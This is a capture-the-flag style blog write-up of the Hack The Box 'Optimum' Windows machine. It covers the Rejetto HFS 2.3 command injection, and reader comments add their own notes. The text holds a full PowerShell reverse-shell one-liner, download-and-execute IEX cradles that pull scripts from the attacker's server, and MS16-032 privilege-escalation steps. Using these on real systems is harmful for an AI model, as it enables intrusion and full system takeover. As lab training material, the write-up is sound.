HTB – Optimum

Another box in OSCP prep, Optimum.

This box is a windows box and I am terrible at Windows priv esc, so should be…. interesting!

Let’s start off as usual with a quick nmap scan:

sudo nmap -Pn -oA nmap/firstscan -vv

We get 1 result, port 80:

Let’s start a fuller scan while we investigate the HTTP server:

sudo nmap -sC -O -p- -oA nmap/fullerscan -vv

The HTTP server has a basic looking webpage:

While we do manual enumeration here, let’s get gobuster running in the background:

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 15

Looking at the webpage, we have a few interesting buttons. The search button, the Archive and Get List buttons.

However before we do any of those, we know this is httpFileServer2.3, let’s do a searchsploit for that.

The result is empty.

As we are going to be doing some web-appy stuff. Let’s load up Burp Suite and proxy all our traffic through there.

Let’s start with the search, can we do any directory traversal?

We cannot. The next step, is can be do any SQL Injection. As Kali only has burp community, it doesn’t have the decent intruder with the lists for SQLi. So instead, i’ll quickly run it through sqlmap:

sqlmap -u

Result of:

[14:23:12] [WARNING] GET parameter 'search' does not seem to be injectable

Never mind. Ok,

The next step, Get List:

This produces the request:

GET /?tpl=list&folders-filter=\&recursive HTTP/1.1 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: HFS_SID=0.574280694592744 
Connection: close 
Upgrade-Insecure-Requests: 1 
Pragma: no-cache 
Cache-Control: no-cache 

So that’s quite interesting, it’s doing something on a folder-filter and is recursive.

In the meantime, our fuller nmap scan still only shows port 80 open. It also estimates the box to be Windows Server 2012 or 2012 R2. This might be useful later.

What this also means is the directory traversal attempt from earlier was really dumb! Trying again with C:\Windows brings the same result though!

After a while of poking, attempting various SQLi at each user input I don’t appear to be getting anywhere.

The last part is back on the actual application. So we know it’s HTTPFileServer2.3 if we click the hyperlink it takes us to:

So earlier we did a searchsploit for HTTPFileServer and nothing was found.

Let’s do the same again but for the company name “rejetto”:

There we go!

The problem before I was doing a search for “HTTPFileServer” and “FileServer” I didn’t add in the spaces. Silly!

We know the version is 2.3 so looks like all the exploits should work.

We don’t really want to do this in metasploit, so let’s have a look at the #34668 text file.

searchsploit -x 34668

It’s short & sweet

So it looks like, we can add a null byte in the search field and try command injection.

Now my windows commands are pretty poor, so i’ll do them twice, once on my windows base then on there using repeater function of Burp.

First off, let’s try:


I’ve checked it on a cmd and it works, gives me the answer.

However trying it on the webserver, brings back nothing.

I tried a few different ideas:{.whoami}

Nothing. Let’s take a look at the python file on searchsploit. This script should give a shell.

Copying it into our home directory:

searchsploit -m

Edit the script to add in your local IP and Port.

Well the script runs. It doesn’t give me a reverse shell though!

The exploits appear quite simple. They basically use a few commands:



They are using the exec feature which executes a file on the local computer. So first step, save the exploit. Second step run it.

The difficult thing is it looks like the commands are being executed but not being fed back to the website. So at first I thought it wasn’t running, but it might be.

Let’s quickly jump into msfconsole and see if it works. Then we will try again without using it:

Within ~4 commands, we have a shell:

A couple more commands (once I realised it wasn’t file or read) we have the user flag.

So it does work. The script creates a file in %TEMP%. Looking in there, the script has gone as it obviously tidies up after itself. Which is good, now let’s try this manually!

During our searchsploit earlier, we copied across, we are going to use this so when trying to run it with python, it runs through but doesn’t connect back.

So let’s look at this script. We have set it to come back on port 9001, maybe it’s  bad port? Trying on port 443 ends with the same result.

The comments in the code mention:

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe). 
# You may need to run it multiple times for success!

Well I wouldn’t think the Windows box has netcat.

I ran it multiple times just in case and still no luck. So we can’t use this script!

What we need to do before all of this, is check we can properly send commands, right. I actually watched the ippsec video for this bit.

As we realised earlier, the output won’t be displayed on the screen, so how do we know anything is working? Well, let’s get tcpdump running on the tun0 interface:

sudo tcpdump -i tun0

Then we can run the exec command and ping us, we should see this working. It will also help us find out which command structure is right.

So we go to repeater and set up our search as:

GET /?search=%00{exec|ping}

I then got excited as tcpdump went a bit mental, but this was only the HTTP requests.


So that’s not the proper formatting. Let’s keep trying

GET /?search=%00{.exec|.ping}

Same few bits of traffic. No dice.

Let’s do a quick google of possible commands we come across this page. Which tells us exactly how to use exec.

So a fullstop at the start and the end:

GET /?search=%00{.exec|ping}

It still looks the same as previously. Maybe all along we were getting pinged and I thought it was just HTTP traffic, but I don’t think so! However ippsec seems to think it worked.

Let’s park that, but if anyone can comment or hit me up on twitter that would be good, as I am baffled!

I’ll watch the rest of ippsecs video afterwards, to see if there is any explanation!

Anyway moving on. Normally with Linux we use bash 1 liner or python 1 liner. We can’t here on Windows, however there is Nishang.

It has a one liner for powershell!

$client = New-Object System.Net.Sockets.TCPClient('',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Let’s change the IPs and put it in with the exec command!

Our GET request now looks somewhat ridiculous. We have a nc listener on port 4444:

Let’s see if this works!

It did not! So back to ippsecs video.

Ok, he uses Nishang but a bit more in detail. He clones the git repo and takes the Invoke-PowershellTcp.ps1 file.
At the bottom of the script adds in the command:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

Then from there we host that file using a python HTTPServer:

python -m SimpleHTTPServer

Then we can exec on the command to download and execute that script. The powershell we need for this is:

powershell IEX(New-Object Net.WebClient).downloadString('')

This then doesn’t work until you URL encode it. Which results in a GET request of:

GET /?search=%00{.exec|powershell+IEX(New-Object+Net.WebClient).downloadString('http%3a//').}

Running that does nothing. Maybe we need the full powershell path.


We can see our python webserver gets some hits, so the script is running!

Then we have a shell!

Again, we get the user flag!

This felt a much better way to get the user shell. I learnt a lot about how to run things in powershell. Nishang is a tool going into my utility belt, as well as the powershell IEX commands!

Yes, I used ippsecs videos to get to this point, metasploit free. But I did it metasploit free and that is pretty darn rad!

So, we are on the box!

Now what? Root flag!

A quick check, we can’t just get to the Administrator folder.

So I have no idea about Windows Priv Esc as mentioned earlier. Let’s get googling and find out some methods!

It looks like pentestmonkey has a windows priv esc checker:

Let’s download that and see what it comes up with!

So we are hosting that on our box. We need to use that funky powershell command again:

powershell IEX(New-Object Net.WebClient).downloadString('')

The request was made, it was downloaded.

It however doesn’t look like it executed. Let’s download it and save it locally, so we then know we have it and can have a play:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -URI -outfile windows-privesc-check2.exe

That has downloaded. Let’s run it!

I’ve run it and left it running for a while, it doesn’t appear to be doing anything. While that was (not) running I found that rasta-mouse the evil man behind the Rastalabs prolab has created a powershell script called Sherlock.

Again, I got this across to the target.

Trying to run this and nothing happened again. I’m starting to think it’s something to do with me not the scripts.

So I tried setting the powershell execution policy to unrestricted and got a very strange message:

I think it’s because I’m a lower level user, so I can’t set the policy. This might be breaking what’s going on.

So, let’s try 1 more thing. We want to run the function “Find-AllVulns” so let’s add that to the end of our script and do the whole powershell download and run thing again!

IEX(New-Object Net.WebClient).downloadString('')

Aha! For some reason, this time it did work!

I’m assuming this is because I didn’t add in a function to use earlier. Let’s retry it.

Looking at this, the Win32k Elevation of Privilege looks good. Let’s take a look at that first.

We find the code on github . Download it to our local box and add ./MS16-135.ps1 to the end of the script so it executes once it’s downloaded.

Back on the target machine we run:

powershell IEX(New-Object Net.WebClient).downloadString('')

We get an error!

This obviously isn’t great, as it means this script won’t run. However, it does mean that the script is running. So that’s a win!

It’s odd that it’s blaming a ‘)’, if this was linux/python environment I would assume python type. So maybe Powershell type? Is it 32 vs 64 bit?

Let’s change our script to make it run from the 64bit powershell


Well well well, this is interesting!

So our powershell might be wrong?

The machine is 64bit. So let’s try and get a reverse shell that’s 64bit.

So back to our GET request earlier, let’s change that slightly to have:

GET /?search=%00{.exec|C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//').}

Now, let’s re-try getting that script.

This time it ran. So that’s absolute progress!!

Sadly, it did not execute.

I get the feeling this isn’t the right exploit!

Sherlock did give another suggestion, which was the Secondary Logon Handle. Let’s take a closer look at that one!

There is a metasploit module however there is also a powershell script that’s been created.

Taking the powershell script, we add the run command to the bottom and host it up on our python HTTP Server.

Let’s invoke some powershell:

IEX(New-Object Net.WebClient).downloadString('')

Running this, doesn’t do too much!

We need to work out what we need to add to the bottom of the script as the executable.

The whole script runs under the function of “Invoke-MS-032”

Firstly, what does this do. Does it upgrade our current shell, or create a new reverse shell with additional privileges?

It looks like it starts a new process, with system level. So we want it to run and create a new reverse shell.

So at the end of the script, what if we try something like:

InvokeMS16032 nc 9005

(I’ve removed the “-” from the function name, as I find additional characters can just cause issues down the road.)

The idea here, is it will run the function, then the new command it will do is a nc reverse shell to our box.

We set up our listener

nc -nvlp 9005

And off we go!

IEX(New-Object Net.WebClient).downloadString('')

So the script ran and looked to execute properly. Which is great.

However, we didn’t get a shell!

This I feel might be my fault. What could be better, is getting a shell powershell script over there and running that. Rather than banking on nc which might not be installed.

So how about we tweak our Invoke-PowerShellTcp.ps1 script to another port. Try and get it to download and run that! We already have all those commands and know it works!

Copying the file and appending ‘-System’ to the filename. Then at the end of the script we edit it to be:

Invoke-PowerShellTcp-System -Reverse -IPAddress -Port 9005

Going back to our exploit script, we change the end to:

InvokeMS16032 IEX(New-Object Net.WebClient).downloadString('')

Let’s see if we even get a hit and then what happens!

Good news bad news situation.

We got a hit on our new Invoke-PowershellTcp-System script:

However, we are all a bit quiet over here:

Looking back at the PowershellTcp System file. I changed the last line, to include “-System” as that’s the filename. I don’t need that, as the function name hasn’t changed!

Let’s take that out and try this again!

Again, no dice!

This might not be working as that part would be a second thread. The race condition is being used on downloading the file, maybe.

So let’s try getting that script onto the box and just try running it with the exploit.

Invoke-WebRequest -uri -outfile shell.ps1

We now have a local file called shell.ps1.

Let’s re-edit our exploit file to be:

InvokeMS16032 powershell C:\Users\Public\Documents\shell.ps1

That should then ping us on our listening port of 9005!

Every time I cancel my python SimpleHTTPServer to edit the file, and forget to start it. This results in errors and I get confused! Remember to re-start that webserver and retry!

This just doesn’t seem to be working!

Can we do a simple powershell script, to make a file just to check if the theory is working.

The powershell for that is:

New-Item -Path . -Name "testfile1.txt" -ItemType "file" -Value "This is a text string."

As a test, we did that and it worked! Let’s add that with testfile2.txt into our exploit script and we can see if any powershell is being executed. I’ve also added in the path, just to really cover the bases!

InvokeMS16032 New-Item -Path C:\Users\Public\Documents -Name "testfile2.txt" -ItemType "file" -Value "This is a text string."

Let’s run this and see!

Testfile2 is not being created. So something has gone awry! This is really odd as before it was downloading the file. So some powershell was working previously.

Thinking back to our shell script we have. Running that locally (without the exploit) brings back a shell to the right port. So that part is working. It’s just the exploit with invoking that isn’t. It has to be a syntax thing.

I want a reverse shell, so let’s go back to that. On the end of our exploit we have:

InvokeMS16032 IEX(New-Object Net.WebClient).downloadString('')

Now these are 2 separate commands. Do we need to separate them out? A quick search suggests using “;”. Let’s add that in after InvokeMS16032

Let’s run the download!

It all went through and I got a shell!

Bugger! I’m still the wrong user!

So that must be running the first exploit, then running the second separately. We need to make it so one command goes into the next.

I do remember somewhere, maybe using PDQ that we had to add in -command before the actual command. I can’t find much on google about it. But let’s give it a go.

Attempting -command or -Command with and without quotes (scraping the barrel) didn’t seem to make any difference.

Restarting the python webservers, the issue became obvious. The exploit script downloads MS-39719 from port 9001. It doesn’t then however download the Invoke-PowerShellTcp-System.ps1 script off port 8000. If it’s not downloading that, it can’t run it!

Therefore -Command and -command aren’t what we need.

So if we have:

InvokeMS16032 powershell IEX(New-Object Net.WebClient).downloadString('')

Both scripts get downloaded, the second doesn’t get executed. But it does if directly downloaded.

So are we back to a powershell issue, if we try:

InvokeMS16032 C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('')

Again, everything downloaded but no executed. FUUUUUUUUUUUUUUUUUUUUUUU

Current mood:

So let’s go back to what we have on the box, we have this shell.ps1. Can we try that again!

InvokeMS16032 C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\Documents\Shell.ps1

This then takes out a step. It must be easier to do, right?!

It just doesn’t appear to execute! Let’s again try with the whole -command options.

I guess, we need to try it locally, as in does that command work?

I’m already in powershell, so all I should need is:


Let’s try with this!

So far, none of this is working!

I’m great a getting a lower priv shell, with the semi-colon! Which if anything is more infuriating as I know it must be a syntax piping type thing as the fucking thing does do something!

Let’s have a good think about this.

Our script is executing and kind of doing what we expected.

However when run separately, our other scripts are working.

Can we try another exploit script? We know it’s MS16-032 a quick google and there are a few others.
One of which is from the Empire module, which I think it’s one of those C2 type frameworks, basically is just boss.

Let’s grab that one and have a go! What you’ll see is in the description there is a handy guide:


        C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('')"

        Will run the iex download cradle as SYSTEM

So that’s cool, -Command was a thing! Just not a thing for us! There was much less of an example in the previous script.

So we have that, let’s add our bit to the end! (Notice the guide has more dashes then the function name! That’s annoying!

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('')"

Let’s go onto the target and do the command:

IEX(New-Object Net.WebClient).downloadString('')

Fingers are mega crossed at this point!

So, we get an error:

So what this is basically saying is that is can’t add a new cmdlet. As it already knows about Invoke-PowershellTcp.

I wonder if that means I can just do the command without anything else.

If I enter:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005

I get a shell on that port. So the powershell is already there. Let’s try just that at the end of the script!

Invoke-MS16032 -Command "Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005"

Let’s run that and fingers even more crossed!

Infuriating! This fucking win message is now just mocking me!

Our nc listener stayed empty.

Let’s get this script across to the box and try running it locally!

Again, same thing! Looks to run properly but doesn’t!

Let’s try a bit more basic. Can we do any powershell.

Earlier we couldn’t dir C:\Users\Administrator

Can we now?

Invoke-MS16032 -Command "dir C:\Users\Administrator -Out-File C:\Users\kostas\Desktop\dir.txt"

This also doesn’t appear to do anything! We have an issue somewhere!

That command was way off!

We need:

Invoke-MS16032 -Command "dir C:\Users\Administrator | Out-File -FilePath C:\Users\kostas\Desktop\dir.txt"

Still nothing, so the powershell is funky somewhere!

At this point, I’d like to make it very clear that I watched the ippsec video, as I was absolutely baffled!

Going back to what we did previously, we have bits that work, so let’s work with those.

At the end of the Invoke-MS16032.ps1 script we add in:

Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadString('')"

I renamed Invoke-PowerShellTcp-System.ps1 to shell.ps1 for ease of typing.

At the bottom of shell.ps1 we had:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005

I’m pretty certain we had this exact set up before! If you see where I went wrong, please hit me up on twitter as I’d love to know!

This time, we run:

IEX(New-Object Net.WebClient).downloadString(‘’)

We get the normal image

The big difference!

We got a root shell and the flag!

I really don’t know what changed! Other than a filename. Was the double “-” in “Invoke-PowerShellTcp-System.ps1” causing an issue for some reason?

I have no idea!


Root dance, I guess! I feel slightly sad that I cheated and slightly baffled by the entire process!

Instead of a root dance, I’ll leave you with some good advice!




3 thoughts on “HTB – Optimum”

  1. As promised, here’s my (sparse!) notes:

    [code]python -m SimpleHTTPServer 8080

    : exploit to get reverse shell – setup listener first
    python 80

    C:\Users\kostas\Desktop>type user.txt.txt
    type user.txt.txt

    python /usr/share/doc/python-impacket/examples/ sharedfolder .
    copy \\10.10.14.xx\sharedfolder\39719.ps1 .

    : Run SMB server
    python /usr/share/doc/python-impacket/examples/ sharedfolder .

    : Privesc exploit
    copy \\10.10.14.xx\sharedfolder\41020.exe .
    root: [redacted]

    I got lucky with my initial recon in narrowing straight in on
    I’m not 100% clear on why it wasn’t working for you. The script needed the remote IP+port as arguments. You had to manually edit it to define your IP where it would pull back nc.exe from and also the port used by your local nc listener. It defaulted to using 80/tcp for your local webserver, so I modified the script to alter that.
    ‘local_port’ in the script is the IP of your NC listener. Which it has 443/tcp in the script as-is. Which was an odd choice!
    I’m guessing when the exploit was initially developed they had 80/443 outbound access and didn’t want to risk the [obvious] 4444/tcp that everyone uses for reverse shells.

    That instantly got me in as user kostas.

    Where I went wrong with priv-esc was assuming there was a misconfiguration around, or some creds I could find somewhere.
    So many rabbit holes!
    I had trouble getting my recon scripts to run. From looking at your work I can see where I was going wrong now.
    I’ve 39719.ps1 referenced, but, didn’t get anywhere with it.
    In the end I pulled down the write-up for the site on HTB which referenced the 41020.exe exploit. Which made priv-esc instantaneous & root followed.

    Needless to say, there was a lot of wrong turns. But, each one provides new learning opportunities.

    I’ve since found this windows priv-esc checker:
    And had good results with it.
    You run it locally. First time you run it you use the ‘update’ switch to create the local repo of data.
    Then you run ‘systeminfo’ on the Windows device you want to exploit, save that to a file.
    Then, feed that data into the script. As long as you can run ‘systeminfo’ on the Windows box and get the results, you’re good to go.

    Keep up the good work.

  2. Yeaaaaaaaaaaaaaaaaah, I’m having the same issue exploiting the command to get the ping to work through Burp..

    I did find an alternative way to get past that part… I used metasploit module (exploit/windows/http/rejetto_hfs_exec) and was able to get my initial foothold.

    I then went down to the SysNative folder and found powershell…
    and was able to move forward from there…

    1. This is a really smart method! Use the tools available to you! Wish I’d thought of using metasploit would have saved hours of sadness!

Leave a Reply

Your email address will not be published. Required fields are marked *